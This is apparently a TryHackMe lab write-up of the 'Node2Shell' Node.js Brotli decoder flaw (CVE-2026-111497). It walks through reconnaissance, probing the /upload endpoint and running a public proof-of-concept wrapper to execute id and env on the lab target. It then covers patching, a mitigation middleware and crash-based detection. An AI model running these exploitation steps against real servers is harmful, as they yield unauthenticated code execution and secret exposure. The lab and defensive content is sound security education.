ThreatHuntHQ
← cd ../writeups

TryHackMe // Write-up

Node2Shell CVE-2026-111497.

An out-of-bounds write in the Brotli decoder bundled with Node.js turns a routine HTTP compression feature into unauthenticated remote code execution against an Express application.

  • Remote Code Execution
  • CVE-2026-111497
  • Node.js
  • CWE-787
Target
10.66.148.156
Attack machine
10.66.107.197
Target service
Node.js 24.22.0 / Express 5.3.0
Vulnerability
Brotli decoder out-of-bounds write
CWE
CWE-787
Primary impact
Remote code execution (RCE)

01 Executive Summary

This room demonstrates exploitation of CVE-2026-111497, also known as Node2Shell. The vulnerability exists in the native Brotli decompression decoder bundled with Node.js. A specially crafted Brotli stream can trigger an out-of-bounds write during block-switch handling, corrupting process memory.

Applications that decompress attacker-controlled Brotli data can expose this vulnerability through HTTP request processing, even when application developers never directly call the Brotli decoder.

In this exercise, the target ran Node.js 24.22.0 with Express 5.3.0. The application accepted Brotli-encoded request bodies through an upload endpoint. The investigation progressed from service discovery and decoder error analysis to successful remote code execution.

The exploit ultimately demonstrated:

  • Remote command execution without application authentication.
  • Execution under the Linux node service account.
  • Access to the Node.js process environment.
  • Exposure of an environment variable containing the room flag.
  • Repeated worker crashes during unsuccessful exploitation attempts.

Final result: RCE was successfully demonstrated, and the environment flag was recovered.

02 Lab Environment

ComponentConfiguration
Attack machineKali Linux
Attack IP10.66.107.197
Target IP10.66.148.156
Target portTCP 3000
RuntimeNode.js 24.22.0
Web frameworkExpress 5.3.0
Operating environmentDebian Bookworm
ExploitCVE-2026-111497 POC

Vulnerability background

CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder. The affected logic involves block-type switching in deps/brotli/c/dec/decode.c. The vulnerable decoder fails to handle an invalid block-switch condition correctly, allowing memory corruption.

  • Classification: CWE-787, Out-of-bounds Write
  • Impact: Memory corruption, denial of service, potential remote code execution
  • Attack surface: Applications processing untrusted Brotli-compressed input

The affected Node.js release lines:

Release lineFirst fixed release
Node.js 22.x22.23.4
Node.js 24.x24.22.1
Node.js 26.x26.12.1

03 Initial Reconnaissance

The first step was to confirm that the target was reachable.

ping -c 4 10.66.148.156

Next, a full TCP port scan was performed:

sudo nmap -Pn -n -p- --min-rate 2000 10.66.148.156

The target application was identified on port 3000. We then checked the health endpoint:

curl -i http://10.66.148.156:3000/health
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Content-Length: 5

PONG

Target confirmed online. The root URL was also checked:

curl -s http://10.66.148.156:3000/
Cannot GET /

This indicated that the application did not provide a normal homepage at the root URL.

04 Identifying the Brotli Ingestion Endpoint

The next objective was to identify an endpoint that processed compressed request bodies. The important HTTP header was:

Content-Encoding: br

This tells the receiving application that the request body is Brotli-compressed; the br value identifies Brotli encoding.

Initial endpoint discovery attempts included:

  • /ingest
  • /api/ingest
  • /api/v1/ingest
  • /api/v1/upload
  • /upload

The first four returned HTTP 404. The /upload endpoint returned HTTP 200 when tested with an empty POST request. This identified the correct application endpoint.

05 Testing Brotli Decompression

Before attempting exploitation, I wanted to confirm that the application actually passed incoming data to the Brotli decoder. I sent deliberately invalid Brotli data:

curl -i -X POST http://10.66.148.156:3000/upload \
  -H "Content-Type: application/json" \
  -H "Content-Encoding: br" \
  --data-binary 'NOT_VALID_BROTLI'

The server returned:

HTTP/1.1 400 Bad Request

More importantly, the response contained:

Error: Decompression failed
    at genericNodeError
    at wrappedFn
    at BrotliDecoder.zlibOnError [as onerror] (node:zlib:197:13)

This was an important finding. The response confirmed:

  • The /upload endpoint existed.
  • The Express application received the request.
  • The Content-Encoding: br header activated Brotli decompression.
  • The invalid payload reached the native Node.js Brotli decoder.
  • The decoder rejected the malformed data.
Important distinction

The HTTP 400 response was not evidence of exploitation. It was evidence that we had identified the vulnerable processing path. This established the attack surface needed for the next phase.

06 Exploit Preparation

With the vulnerable decompression path confirmed, the next step was to obtain a proof of concept. The exploit repository used was:

https://github.com/dimasma0305/CVE-2026-111497-POC

The repository was cloned into the TryHackMe room directory:

cd /root/Rooms/CVE-2026-111497/
git clone -q https://github.com/dimasma0305/CVE-2026-111497-POC.git
cd CVE-2026-111497-POC

The room required a specific commit:

git checkout -q e3382551df02b3ac8c925aeeffb9e0d206f052d4

The room's patch script was then executed:

../apply_patch.sh
patching file poc.py
poc.py patched and verified (md5 dcb4b628daaacafe79ccfa0339733018).
Run it with: LAB_TARGET_HOST=MACHINE_IP ./run_poc.sh --host MACHINE_IP --attempts N

Understanding the exploit configuration

Before running the exploit, I inspected the available arguments:

./run_poc.sh --help

The wrapper automatically selected the following target profile:

node-24.22.0-express-5.3.0-bookworm-x86_64

This matched the target's Node.js and Express environment. An important discovery came from inspecting the Python source:

grep -nE 'command|proof|environment|env|id' poc.py

The following line was particularly important:

LAB_RCE_PROGRAM = os.environ.get("LAB_RCE_PROGRAM", "/usr/bin/id")

This indicated that the proof command could be changed using an environment variable. The default command was /usr/bin/id, which would demonstrate the execution identity. For the second part of the exercise, this could be changed to /usr/bin/env to retrieve the target process environment.

07 Initial Remote Code Execution

The first exploit execution used the default program:

LAB_TARGET_HOST=10.66.148.156 \
  ./run_poc.sh --host 10.66.148.156 --attempts 48

The exploit attempted to trigger the vulnerability repeatedly. Initial output:

attempt=1/48 staged_position=0x137ed748 fresh_process_reset=network crash trigger
attempt=2/48 staged_position=0x137ed748 fresh_process_reset=network crash trigger
attempt=3/48 staged_position=0x137ed748 fresh_process_reset=network crash trigger

The same behavior continued until attempt 7. Successful output:

PASS: RCE verified by fresh id output through the declared interface
profile=node-24.22.0-express-5.3.0-bookworm-x86_64
proof_channel=HTTP request socket stdout
proof_command=id
proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
successful_attempt=7

Remote code execution confirmed.

Analysis: Execution identity

The output was uid=1000(node) gid=1000(node) groups=1000(node). This established that the application was running as the Linux account node. The attacker had obtained command execution in the context of the Node.js service.

Important distinction

The account was not root, which limited some potential actions, but it did not prevent remote command execution or access to resources available to the application. A non-root service account reduces the potential impact of compromise, but it does not eliminate the vulnerability.

08 Extracting the Environment Flag

The next objective was to execute a different program through the same vulnerable application. Instead of using the default /usr/bin/id, I selected /usr/bin/env. The exploit was executed with:

LAB_TARGET_HOST=10.66.148.156 \
  LAB_RCE_PROGRAM=/usr/bin/env \
  ./run_poc.sh --host 10.66.148.156 --attempts 48

The exploit succeeded on attempt 5. Output:

PASS: RCE verified by fresh id output through the declared interface
profile=node-24.22.0-express-5.3.0-bookworm-x86_64
proof_channel=HTTP request socket stdout
proof_command=id
proof_stdout=NODE_VERSION=24.22.0
HOSTNAME=466bc73c7638
YARN_VERSION=1.22.22
HOME=/home/node
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
UV_THREADPOOL_SIZE=1
PWD=/app
FLAG=THM{br0tl1_bl0ck_sw1tch_t0_sh3ll}
successful_attempt=5

The important result was FLAG=THM{br0tl1_bl0ck_sw1tch_t0_sh3ll}.

Flag recovered.

Analysis: Environment variable exposure

The exploit was able to read the environment of the compromised Node.js process. This demonstrated an additional security impact beyond command execution. Environment variables commonly contain:

  • Application secrets
  • API keys
  • Database credentials
  • Authentication tokens
  • Cloud service credentials
  • Deployment configuration
  • Internal service addresses
Finding

The room flag was deliberately stored in the environment, making it possible to demonstrate this exposure. In a real application, access to environment variables could potentially allow an attacker to move beyond the initially compromised application.

09 Failed Exploitation Attempts and Detection

One of the interesting characteristics of this exploit was that it did not succeed on every attempt. The output repeatedly included fresh_process_reset=network crash trigger. The exploit relied on repeated attempts to reach the required memory layout and execution condition. Failed attempts caused the application worker to crash and required a fresh process.

The first successful execution occurred on attempt 7, while the environment extraction succeeded on attempt 5.

Defensive significance

A defender monitoring the application could potentially identify:

  • Repeated application worker crashes
  • Unexpected Node.js process termination
  • Service restarts
  • Unusual HTTP POST activity
  • Repeated requests containing Content-Encoding: br
  • Repeated decompression errors
  • Abnormal memory usage
  • Unexpected child-process creation

The most direct answer to the room's detection question is CRASH.

Important distinction

A crash alone is not proof of exploitation. It should be correlated with HTTP requests, process execution telemetry, and application restart events. This would make a useful detection exercise in a Wazuh/Splunk environment.

10 Task Answers

QuestionAnswer
Fixed Node.js v24 release24.22.1
Out-of-bounds write weaknessCWE-787
Claimed impact from source-level analysisDoS
Brotli request headerContent-Encoding: br
/health responsePONG
Invalid Brotli response status400
Service accountnode
Environment flagTHM{br0tl1_bl0ck_sw1tch_t0_sh3ll}
Failed-attempt eventcrash

11 How to Patch CVE-2026-111497

This is the most important part of the exercise from a vulnerability management perspective. The vulnerability is in the Brotli decoder bundled with Node.js. Updating Express alone will not fix it. The correct remediation is to update the underlying Node.js runtime to a release containing the patched Brotli decoder.

Fixed Node.js versions

RuntimeMinimum fixed version
Node.js 22.x22.23.4
Node.js 24.x24.22.1
Node.js 26.x26.12.1

The Node.js security advisory identifies these releases as containing the fix. For production deployments, use the latest supported patched release in your chosen release line rather than simply pinning to the minimum fixed version.

Option A: Update Node.js using NVM

If the application uses Node Version Manager:

nvm install 24
nvm use 24
nvm alias default 24

Verify:

node --version

The version must be at least v24.22.1. Restart the application after updating.

Option B: Update a Debian/Ubuntu installation

First check the installed version:

node --version

Check the available package version:

apt-cache policy nodejs

Update the package lists:

sudo apt update

Upgrade Node.js using the configured trusted repository:

sudo apt install --only-upgrade nodejs

Check the version again:

node --version
Important distinction

If the configured repository does not offer a patched release, update the repository or install a supported official Node.js distribution. Do not assume that an ordinary apt upgrade has fixed the vulnerability.

Option C: Update a Docker deployment

Applications running inside containers must be rebuilt with a patched base image. For example:

FROM node:24.22.2-bookworm-slim
WORKDIR /app
COPY package*.json ./
RUN npm ci --omit=dev
COPY . .
EXPOSE 3000
CMD ["node", "server.js"]

Rebuild:

docker build --no-cache -t my-node-app:patched .

Replace the existing container with the newly built image. Verify the runtime inside the container:

docker exec -it <container_name> node --version
Important distinction

Do not simply update Node.js on the Docker host. The application uses the Node.js binary inside its container.

Option D: Temporarily disable Brotli request decompression

If an immediate runtime update is not possible, a temporary mitigation is to reject Brotli-encoded request bodies before they reach the decompression middleware. For an Express application:

app.use((req, res, next) => {
  const encoding = req.get('Content-Encoding');
  if (
    encoding &&
    encoding.toLowerCase().split(',').map(x => x.trim()).includes('br')
  ) {
    return res.status(415).send(
      'Brotli request bodies temporarily disabled'
    );
  }
  next();
});

// Register body parsing middleware after the restriction.
app.use(express.json());

This is a temporary mitigation, not a permanent fix. It will also prevent legitimate Brotli-compressed uploads, so application functionality must be considered. A web application firewall or reverse proxy can enforce a similar restriction before traffic reaches Node.js. AWS documents an example WAF rule that detects the Content-Encoding: br header, and recommends testing the rule in Count mode before switching to Block mode.

12 How to Verify Remediation

After updating Node.js, verify the actual runtime used by the application.

node --version

For an application process:

ps aux | grep '[n]ode'

For a systemd-managed service:

sudo systemctl restart <service_name>
sudo systemctl status <service_name>

Verify the application is responding:

curl -i http://127.0.0.1:3000/health

Expected response:

HTTP/1.1 200 OK
PONG

Also check:

  • The running service uses the patched Node.js binary.
  • The application has been restarted.
  • Containers have been rebuilt and redeployed.
  • Any independently bundled Brotli libraries have been updated.
  • The application no longer processes attacker-controlled Brotli data using a vulnerable decoder.
Important distinction

A version check in your interactive shell is not sufficient if a service manager or container is still running an older Node.js binary.

13 Detection and Monitoring Opportunities

This vulnerability provides several useful detection opportunities. For a SOC analyst, I would investigate the following behaviors:

IndicatorPotential security significance
Repeated POST requests to upload endpointsPossible exploitation attempts
Content-Encoding: brBrotli decompression attack surface
Repeated decompression errorsMalformed compressed input
Node.js process crashesPossible memory corruption
Unexpected Node.js child processesPotential post-exploitation
Unusual outbound connectionsPossible command-and-control
Access to environment variablesPotential secret exposure

Splunk investigation

For your home SOC, start with a search such as:

index=linux ("node" OR "nodejs") ("segfault" OR "core dumped" OR "SIGSEGV" OR "killed")

Look for repeated crashes around the same time. For process execution monitoring, investigate events showing Node.js launching unexpected programs such as:

/usr/bin/env
/bin/sh
/bin/bash

Sysmon on Windows or Linux process auditing can help identify unexpected child-process activity.

Wazuh monitoring

I would build correlation around:

  • Repeated HTTP requests to the application's upload endpoint.
  • Brotli decompression failures.
  • Node.js process termination.
  • Unexpected process creation.
  • Service restarts following crashes.
Finding

A particularly useful detection would correlate repeated Brotli-encoded uploads with Node.js crashes and subsequent process creation. This would be much more valuable than simply alerting on an HTTP 400 response.

14 Lessons Learned

Several important security concepts were demonstrated in this room.

Dependencies carry risk

The Express application did not need an obvious vulnerability in its own JavaScript code. The underlying Node.js runtime contained the vulnerable decoder.

Validation isn't memory safety

The application accepted compressed data and delegated decompression to native code. The vulnerable decoder was responsible for the memory corruption.

Non-root is necessary, not sufficient

The compromised application ran as node, not root. That account still had access to the application's environment and potentially sensitive resources.

Protect environment variables

Secrets stored in environment variables can become accessible following application compromise. Consider dedicated secret-management systems, short-lived credentials, and restricted permissions.

Crashes are a detection signal

Repeated worker crashes may indicate exploitation attempts, especially when correlated with unusual HTTP requests.

Patch the runtime, not just the app

Updating application dependencies alone is not enough. Organizations must also inventory and patch the runtimes and native libraries their applications depend on.

// Conclusion

Node2Shell demonstrated how a vulnerability in a low-level compression library can become a remote code execution vulnerability in a web application. The investigation began by identifying the exposed Express application and confirming that Brotli decompression was accessible through the /upload endpoint. A malformed Brotli payload produced a decompression error, confirming that attacker-controlled data reached the vulnerable decoder.

The supplied proof of concept then successfully demonstrated remote code execution against the Node.js 24.22.0 target. Execution was confirmed under the node service account. By changing the proof program from /usr/bin/id to /usr/bin/env, the application's environment was exposed and the TryHackMe flag was recovered.

The primary remediation is upgrading Node.js to a patched release. Organizations should also review other applications and services that use the affected Brotli decoder.

Takeaway

A seemingly routine HTTP compression feature can expose native memory-management vulnerabilities that result in full application compromise.

// References

  • Official Node.js October 2026 Security Releases
  • Node.js 24.22.1 Security Release
  • Red Hat CVE-2026-111497 Advisory
  • Akamai – Inside Node2Shell
  • Datadog Security Labs – Reproducing Node2Shell
  • CVE-2026-111497 Proof of Concept